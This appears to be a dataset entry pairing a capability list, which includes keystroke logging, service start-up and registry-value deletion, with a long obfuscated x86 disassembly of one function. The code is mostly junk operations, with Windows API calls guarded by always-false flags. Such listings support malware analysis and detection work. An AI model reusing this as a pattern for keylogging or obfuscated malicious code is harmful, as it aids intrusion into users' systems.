Function at 0x1002fe63
Capabilities:
Accept command line arguments
Check os version
Create directory
Create thread
Delete registry value
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file size
Identify system language via api
Log keystrokes
Query or enumerate registry value
Start service

Disassembly:
mov eax, 0x1007c2e6
call fcn.1007bca0
mov eax, 0x1474
call fcn.10078450
push ebx
push esi
mov dword [ebp - 0x44], 0x571177e8
mov eax, 0x7736eae1
push edi
xor edi, edi
mov byte [ebp - 0xa1], dl
inc edi
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x94c], eax
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x944], eax
mov dword [ebp - 0x940], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x553a81f6
cmp dword [ebp - 0x24], eax
je 0x1002fec4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ebx, 0xffff
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x9b37d02
push 0xfffffffffffffff8
pop eax
push 3
pop esi
push 2
pop ecx
jl 0x1002ff33
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002ff0c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd10], 0xc4df8e3b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002fef4
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x10030018
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd10], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002ff18
jmp 0x10030016
mov dword [ebp - 0x7cc], eax
mov dword [ebp - 0x7c8], eax
mov dword [ebp - 0x7c4], eax
mov dword [ebp - 0x7c0], eax
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x18], eax
jmp 0x1002ff66
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb8], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002ff55
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
cmp ecx, edi
je 0x1002ff8f
xor eax, eax
mov esi, eax
cmp dword [ebp - 0xb8], eax
je 0x1002ff91
mov esi, edi
mov edx, dword [ebp - 0xb8]
xor ecx, ecx
mov dword [ebp - 0x7c0], edx
mov eax, dword [ebp - 0x24]
cmp esi, eax
push 3
setle cl
xor eax, eax
pop esi
cmp ecx, esi
setne al
xor ecx, ecx
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, edi
mov dword [ebp - 0x94c], eax
setle cl
imul ecx, edx
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, ebx
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x7c0]
mov eax, dword [ebp - 0xb8]
sub ecx, eax
mov dword [ebp - 0x7c0], ecx
mov eax, dword [ebp - 0x94c]
cmp ecx, eax
mov eax, dword [ebp - 0xb8]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0xfffc
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030030
push 0x135b
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor eax, eax
mov dword [ebp - 0x34], 0xdcec3d7d
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030049
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030060
push eax
push 0x2442
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003007c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcf4], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030068
xor eax, eax
mov ebx, dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 4
pop edx
push 2
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x44], 0xffffffef
pop ecx
cmp dword [ebp - 0x44], 9
jl 0x100301ac
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100300bf
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc20], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100300a7
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1003017b
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x100300e3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x74c], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100300cf
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10030103
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x67c], 0x44accb24
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100300eb
xor eax, eax
mov dword [ebp - 0x740], eax
jmp 0x1003013a
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jg 0x10030134
mov eax, dword [ebp - 0x740]
cmp dword [ebp + eax*4 - 0xc20], 0
jne 0x10030132
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jle 0x1003011a
xor eax, eax
inc dword [ebp - 0x740]
cmp dword [ebp - 0x740], ecx
jle 0x1003010b
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], esi
jg 0x10030178
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030164
push eax
push 0x1348
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x674]
cmp dword [ebp - 0x674], esi
jle 0x10030150
push 2
pop ecx
push 4
pop edx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x100300c7
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x100301a4
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xc20], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1003018c
xor eax, eax
inc dword [ebp - 0x44]
jmp 0x10030092
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100301cc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1298], 0xf680299
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100301b4
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffb
cmp dword [ebp - 0x44], 0xd
push 8
pop edx
jge 0x1003027b
xor eax, eax
mov dword [ebp - 0x24], edi
mov edx, 0x7736eae1
mov dword [ebp - 0x964], edx
mov dword [ebp - 0x960], edx
mov dword [ebp - 0x95c], edx
mov dword [ebp - 0x958], edx
mov dword [ebp - 0x3c], 0x553a81f6
cmp dword [ebp - 0x24], eax
je 0x10030214
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x9b37d02
jl 0x1003047f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10030252
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd28], 0xc4df8e3b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003023a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1003056a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd28], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1003025e
jmp 0x10030568
xor eax, eax
mov dword [ebp - 0x5c], 0xfaf425f5
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x64], 0x1480146
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100302b3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1ec], 0x57fd5464
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003029b
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x100302d3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9cc], 0x5457d670
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100302bb
xor eax, eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0xfffffff6
jne 0x10030381
mov dword [ebp - 0x64], 0xfec1b16e
mov dword [ebp - 0x18], eax
jmp 0x100302ff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa3c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100302f2
mov eax, dword [ebp - 0xa34]
dec eax
mov dword [ebp - 0x9c8], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1003031e
mov eax, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x1ec]
xor eax, eax
cmp dword [ebp - 0x5c], eax
jne 0x10030335
mov edx, eax
cmp dword [ebp - 0xa34], eax
je 0x10030337
mov edx, edi
mov eax, dword [ebp - 0x1ec]
inc edx
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0xa38]
cmp edx, eax
mov eax, dword [ebp - 0x9c8]
setge cl
sub eax, ecx
je 0x10030363
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x10030365
mov eax, edi
jmp 0x10030365
xor eax, eax
push 0
mov dword [ebp - 0x64], eax
dec dword [ebp - 0x1ec]
cmp dword [ebp - 0x1ec], 0xfffffff6
pop eax
push 8
pop edx
je 0x100302e6
mov dword [ebp - 0x30], 0xc0d37ad4
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x2364
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x48], 0xae9a07b3
mov dword [ebp - 0x4c], 0xacd4a797
mov dword [ebp - 0x3c], 0xb370cc32
mov dword [ebp - 0x18], eax
jmp 0x100303cb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1044], 0xc9fe9a5a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100303ba
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x2c]
jle 0x10030407
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10030409
mov edx, edi
jmp 0x1003040b
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, 0x2d67
setle cl
xor eax, eax
cmp edx, 0xffffffff
setg al
sub ecx, eax
dec ecx
mov dword [ebp - 0x103c], ecx
mov eax, dword [ebp - 0x54]
sub eax, ecx
mov dword [ebp - 0x3c], eax
xor eax, eax
inc dword [ebp - 0x54]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x10030467
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x18], eax
jmp 0x1003045d
mov dword [ebp - 0x4c], 0xf09a2b44
dec dword [ebp - 0x4c]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10030450
dec dword [ebp - 0x30]
jns 0x10030441
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xd
push 2
pop ecx
push 8
pop edx
jge 0x10030279
jmp 0x100301e2
push 0xfffffffffffffff8
pop eax
mov dword [ebp - 0x7ac], eax
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x7a4], eax
mov dword [ebp - 0x7a0], eax
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x18], eax
jmp 0x100304b5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbc], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100304a4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
cmp ecx, edi
je 0x100304de
xor eax, eax
mov esi, eax
cmp dword [ebp - 0xbc], eax
je 0x100304e0
mov esi, edi
mov edx, dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x7a0], edx
mov eax, dword [ebp - 0x24]
cmp esi, eax
push 3
setle cl
xor eax, eax
pop esi
cmp ecx, esi
setne al
xor ecx, ecx
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, edi
mov dword [ebp - 0x964], eax
setle cl
imul ecx, edx
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, 0xffff
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x7a0]
mov eax, dword [ebp - 0xbc]
sub ecx, eax
mov dword [ebp - 0x7a0], ecx
mov eax, dword [ebp - 0x964]
cmp ecx, eax
mov eax, dword [ebp - 0xbc]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0xfffc
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030582
push 0x135b
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor eax, eax
mov dword [ebp - 0x34], 0xdcec3d7d
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003059b
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100305b2
push eax
push 0x2442
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
xor eax, eax
mov dword [ebp - 0x50], 0x571177e8
push 2
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x44], 0xffffffef
pop ecx
cmp dword [ebp - 0x44], 9
jl 0x100306e7
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100305f3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd34], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100305db
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jg 0x100306bf
push 4
pop edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x1003061e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x76c], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003060a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003063e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6f4], 0x44accb24
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10030626
xor eax, eax
mov dword [ebp - 0x760], eax
jmp 0x10030675
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jg 0x1003066f
mov eax, dword [ebp - 0x760]
cmp dword [ebp + eax*4 - 0xd34], 0
jne 0x1003066d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jle 0x10030655
xor eax, eax
inc dword [ebp - 0x760]
cmp dword [ebp - 0x760], ecx
jle 0x10030646
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], esi
jg 0x100306b3
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003069f
push eax
push 0x1348
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x6ec]
cmp dword [ebp - 0x6ec], esi
jle 0x1003068b
push 2
pop ecx
push 4
pop edx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x10030602
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x100306df
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd34], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x100306c7
xor eax, eax
inc dword [ebp - 0x44]
jmp 0x100305c6
mov dword [ebp - 0x5c], 0xfaf425f5
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x64], 0x1480146
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1003071f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1ac], 0x57fd5464
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030707
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1003073f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x92c], 0x5457d670
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030727
xor eax, eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0xfffffff6
jne 0x100307f0
mov dword [ebp - 0x64], 0xfec1b16e
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10030776
push 8
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa48], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10030764
mov eax, dword [ebp - 0xa40]
dec eax
mov dword [ebp - 0x928], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10030790
mov eax, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x1ac]
xor eax, eax
cmp dword [ebp - 0x5c], eax
jne 0x100307a7
mov edx, eax
cmp dword [ebp - 0xa40], eax
je 0x100307a9
mov edx, edi
mov eax, dword [ebp - 0x1ac]
inc edx
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0xa44]
cmp edx, eax
mov eax, dword [ebp - 0x928]
setge cl
sub eax, ecx
je 0x100307d5
xor eax, eax
cmp dword [ebp - 0x64], eax
je 0x100307d7
mov eax, edi
jmp 0x100307d7
xor eax, eax
mov dword [ebp - 0x64], eax
dec dword [ebp - 0x1ac]
cmp dword [ebp - 0x1ac], 0xfffffff6
push 0
pop eax
je 0x10030752
mov dword [ebp - 0x2c], 0x2364
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x48], 0xae9a07b3
mov dword [ebp - 0x4c], 0xacd4a797
mov dword [ebp - 0x3c], 0xb370cc32
mov dword [ebp - 0x18], eax
jmp 0x10030830
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf6c], 0xc9fe9a5a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1003081f
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x2c]
jle 0x1003086c
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1003086e
mov edx, edi
jmp 0x10030870
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, 0x2d67
push 2
setle cl
xor eax, eax
cmp edx, 0xffffffff
setg al
sub ecx, eax
dec ecx
mov dword [ebp - 0xf64], ecx
mov eax, dword [ebp - 0x54]
sub eax, ecx
mov dword [ebp - 0x3c], eax
xor eax, eax
inc dword [ebp - 0x54]
pop ecx
mov dword [ebp - 0x18], 0x7ddc85f7
mov dword [ebp - 0x18], eax
push 6
pop edx
cmp dword [ebp - 0x18], ecx
jge 0x100308c4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x99c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100308b0
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 4
pop ecx
mov dword [ebp - 0x18], ecx
jmp 0x10030944
mov dword [ebp - 0x510], edi
mov dword [ebp - 0x50c], edi
mov dword [ebp - 0x508], edi
mov dword [ebp - 0x504], edi
mov dword [ebp - 0x50c], edi
cmp dword [ebp - 0x50c], eax
jl 0x10030941
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003091c
push eax
push 0x411
push 0x16e9
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov eax, dword [ebp - 0x50c]
push 0
mov ecx, dword [ebp + eax*4 - 0x99c]
mov eax, dword [ebp - 0x50c]
mov dword [ebp + eax*4 - 0x99c], ecx
dec dword [ebp - 0x50c]
pop eax
jns 0x100308f8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xb
jl 0x100308d2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10030966
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcfc], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030952
xor eax, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x4c], 0x3050
push 3
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jge 0x10030993
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x132c], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003097b
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100309b7
push eax
push 0x337
push 0xe69
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov eax, dword [ebp - 0x2c]
mov ecx, 0xffff
mov eax, dword [ebp - 0x2c]
add eax, ecx
je 0x100309e1
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10030a7b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
jmp 0x10030a79
mov dword [ebp - 0x44], 0x4bc6
xor eax, eax
push 2
mov dword [ebp - 0x48], 0x7bededb5
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10030a06
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd3c], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100309f9
mov eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x3718bd85
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setle cl
xor edx, edx
test ecx, ecx
mov ecx, dword [ebp - 0x2c]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setl bl
xor edx, edx
add ecx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
sub eax, edx
je 0x10030a64
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10030a6b
jmp 0x10030a66
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10030a6d
mov eax, edi
push 3
mov dword [ebp - 0xd38], eax
inc dword [ebp - 0x4c]
pop ebx
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030a9e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11a8], 0xf680299
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030a86
xor eax, eax
mov dword [ebp - 0x28], 0x66c93ee
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10030ac5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa60], 0x851f08a1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030aad
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030ad9
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setge dl
add edx, edx
je 0x10030b0b
xor eax, eax
mov ecx, edi
cmp dword [ebp - 0x28], eax
jne 0x10030af5
mov ecx, eax
mov eax, dword [ebp - 0x28]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x28]
cmp eax, 0xfffffffb
je 0x10030b0b
mov ecx, edi
jmp 0x10030b0f
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x28]
imul eax, ecx
cmp eax, 0xffffffff
je 0x10030b1d
mov eax, dword [ebp - 0x28]
mov eax, 0x69719efc
mov dword [ebp - 0x7ec], eax
mov dword [ebp - 0x7e8], eax
mov dword [ebp - 0x7e4], eax
mov dword [ebp - 0x7e0], eax
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10030b5f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1bc], 0x72a67f8b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030b47
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffc
cmp dword [ebp - 0x28], 0xfffffffd
je 0x10030ce6
mov dword [ebp - 0x18], 0x56370016
mov dword [ebp - 0x4c], 0xba00b6fb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10030b9e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x10bc], 0x7bde5156
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030b86
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10030cc6
mov dword [ebp - 0x24], 0x2e3f9150
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jg 0x10030cc3
mov dword [ebp - 0x4c], 0x964069a3
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x1bc]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setg dl
sub edx, 0x4592404e
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0xa5c], edx
mov eax, dword [ebp - 0x28]
imul eax, edx
cmp eax, dword [ebp - 0x1bc]
jne 0x10030bfc
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x10030bfe
mov ecx, edi
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x1bc]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x1bc]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
sub esi, ecx
neg esi
sbb esi, esi
xor edx, edx
inc esi
mov dword [ebp - 0x10b4], esi
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
add edx, esi
mov eax, dword [ebp + eax*4 - 0x1bc]
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, edi
setg al
xor edx, edx
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
cmp ecx, 0x30ae734f
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1b8]
imul edx, eax
mov eax, dword [ebp - 0x1b8]
cmp edx, eax
setge cl
xor eax, eax
